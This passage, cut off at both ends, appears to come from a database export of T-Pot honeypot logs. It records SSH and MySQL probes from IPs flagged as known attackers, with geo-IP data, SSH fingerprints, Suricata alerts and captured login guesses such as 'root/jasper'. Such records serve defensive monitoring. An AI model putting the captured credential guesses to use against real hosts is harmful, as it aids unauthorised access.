"payload_printable": ""}}	1	\N	\N	alert	known attacker	\N
29715	176.60.208.43	109.199.241.180	Fatt	2021-09-20 14:28:26.977114+03	2021-09-20 14:30:04.487553+03	{"_id": "cQb2AnwBvYTbRNuE5zeP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "176.60.208.43", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 48064, "dest_port": 22, "timestamp": "2021-09-20T11:28:26.977114", "@timestamp": "2021-09-20T11:28:26.977Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
29716	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:28:27.422406+03	2021-09-20 14:30:04.489554+03	{"_id": "cgb2AnwBvYTbRNuE6Def", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.login.failed", "message": "login attempt [root/jasper] failed", "session": "e72db7c49776", "@version": "1", "password": "jasper", "username": "root", "timestamp": "2021-09-20T11:28:27.422406Z", "@timestamp": "2021-09-20T11:28:27.422Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29717	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:28:28.510663+03	2021-09-20 14:30:04.490553+03	{"_id": "cwb2AnwBvYTbRNuE7DeH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "e72db7c49776", "@version": "1", "duration": 1.618283987045288, "timestamp": "2021-09-20T11:28:28.510663Z", "@timestamp": "2021-09-20T11:28:28.510Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29718	182.107.171.87	109.199.241.180	Dionaea	2021-09-20 14:28:26.474304+03	2021-09-20 14:30:04.491554+03	{"_id": "dAb2AnwBvYTbRNuE7TcZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/dionaea/log/dionaea.json", "type": "Dionaea", "geoip": {"ip": "182.107.171.87", "asn": 4134, "as_org": "Chinanet", "latitude": 28.55, "location": {"lat": 28.55, "lon": 115.9333}, "timezone": "Asia/Shanghai", "longitude": 115.9333, "region_code": "JX", "region_name": "Jiangxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "182.107.171.87", "dest_ip": "192.168.208.2", "@version": "1", "password": "", "src_port": 7636, "username": "root", "dest_port": 3306, "timestamp": "2021-09-20T11:28:26.474304", "@timestamp": "2021-09-20T11:28:26.474Z", "connection": {"type": "accept", "protocol": "mysqld", "transport": "tcp"}, "src_hostname": "", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	\N	known attacker	\N
29719	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:28:26.889836+03	2021-09-20 14:30:04.492554+03	{"_id": "bAb2AnwBvYTbRNuE5DfM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 176.60.208.43:48064 (192.168.176.2:22) [session: e72db7c49776]", "session": "e72db7c49776", "@version": "1", "protocol": "ssh", "src_port": 48064, "dest_port": 22, "timestamp": "2021-09-20T11:28:26.889836Z", "@timestamp": "2021-09-20T11:28:26.889Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29720	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:28:26.892665+03	2021-09-20 14:30:04.494554+03	{"_id": "bQb2AnwBvYTbRNuE5DfM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "e72db7c49776", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:28:26.892665Z", "@timestamp": "2021-09-20T11:28:26.892Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29721	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:28:26.977421+03	2021-09-20 14:30:04.495552+03	{"_id": "bgb2AnwBvYTbRNuE5DfM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "e72db7c49776", "@version": "1", "timestamp": "2021-09-20T11:28:26.977421Z", "@timestamp": "2021-09-20T11:28:26.977Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29722	176.60.208.43	109.199.241.180	Suricata	2021-09-20 14:28:26.976687+03	2021-09-20 14:30:04.496557+03	{"_id": "bwb2AnwBvYTbRNuE5jdo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "176.60.208.43", "dest_ip": "192.168.20.116", "flow_id": 282569930853310, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 48064, "dest_port": 22, "timestamp": "2021-09-20T11:28:26.976687Z", "@timestamp": "2021-09-20T11:28:26.976Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29723	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:28:26.894788+03	2021-09-20 14:30:04.498554+03	{"_id": "cAb2AnwBvYTbRNuE5zeP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "176.60.208.43", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 48064, "timestamp": "2021-09-20T11:28:26.894788", "@timestamp": "2021-09-20T11:28:26.894Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29724	1.117.219.217	109.199.241.180	Fatt	2021-09-20 14:28:55.726664+03	2021-09-20 14:30:04.499553+03	{"_id": "ogb3AnwBvYTbRNuEVDf7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "1.117.219.217", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 56536, "dest_port": 22, "timestamp": "2021-09-20T11:28:55.726664", "@timestamp": "2021-09-20T11:28:55.726Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
29725	5.188.62.196	109.199.241.180	Suricata	2021-09-20 14:28:40.171203+03	2021-09-20 14:30:04.501553+03	{"_id": "eQb3AnwBvYTbRNuEGTc2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:26:54.451166+0000", "pkts_toclient": 19, "pkts_toserver": 21, "bytes_toclient": 3061, "bytes_toserver": 3550}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.196", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1455321482453598, "payload": "", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 49636, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:28:40.171203Z", "@timestamp": "2021-09-20T11:28:40.171Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
29726	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:28:58.150499+03	2021-09-20 14:30:04.502524+03	{"_id": "swb3AnwBvYTbRNuEXTfc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "eba5869eaab3", "@version": "1", "duration": 2.692760944366455, "timestamp": "2021-09-20T11:28:58.150499Z", "@timestamp": "2021-09-20T11:28:58.150Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29732	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:28:58.947255+03	2021-09-20 14:30:04.511553+03	{"_id": "uQb3AnwBvYTbRNuEYzd1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "flow_id": 1794018316491639, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 37155, "dest_port": 22, "timestamp": "2021-09-20T11:28:58.947255Z", "@timestamp": "2021-09-20T11:28:58.947Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29727	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:28:58.690964+03	2021-09-20 14:30:04.503525+03	{"_id": "tAb3AnwBvYTbRNuEYDe0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "218.92.0.190", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 37155, "timestamp": "2021-09-20T11:28:58.690964", "@timestamp": "2021-09-20T11:28:58.690Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29728	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:28:58.689685+03	2021-09-20 14:30:04.50556+03	{"_id": "tgb3AnwBvYTbRNuEYTfE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-PUTTY'", "session": "ddafc6f1593f", "version": "b'SSH-2.0-PUTTY'", "@version": "1", "timestamp": "2021-09-20T11:28:58.689685Z", "@timestamp": "2021-09-20T11:28:58.689Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29729	49.88.112.109	109.199.241.180	Suricata	2021-09-20 14:28:59.75542+03	2021-09-20 14:30:04.507523+03	{"_id": "vgb3AnwBvYTbRNuEZzdd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:28:59.755420+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 60}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 68859, "action": "allowed", "category": "Misc Attack", "metadata": {"tag": ["CINS"], "created_at": ["2013_10_08"], "deployment": ["Perimeter"], "updated_at": ["2021_09_17"], "attack_target": ["Any"], "affected_product": ["Any"], "signature_severity": ["Major"]}, "severity": 2, "signature": "ET CINS Active Threat Intelligence Poor Reputation IP group 65", "signature_id": 2403364}, "geoip": {"ip": "49.88.112.109", "asn": 4134, "as_org": "Chinanet", "latitude": 34.5997, "location": {"lat": 34.5997, "lon": 119.1594}, "timezone": "Asia/Shanghai", "city_name": "Xinpu", "longitude": 119.1594, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "49.88.112.109", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 547356814313180, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 9090, "dest_port": 22, "timestamp": "2021-09-20T11:28:59.755420Z", "@timestamp": "2021-09-20T11:28:59.755Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	\N
29730	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 14:29:01.788661+03	2021-09-20 14:30:04.508524+03	{"_id": "xwb3AnwBvYTbRNuEbTd-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", 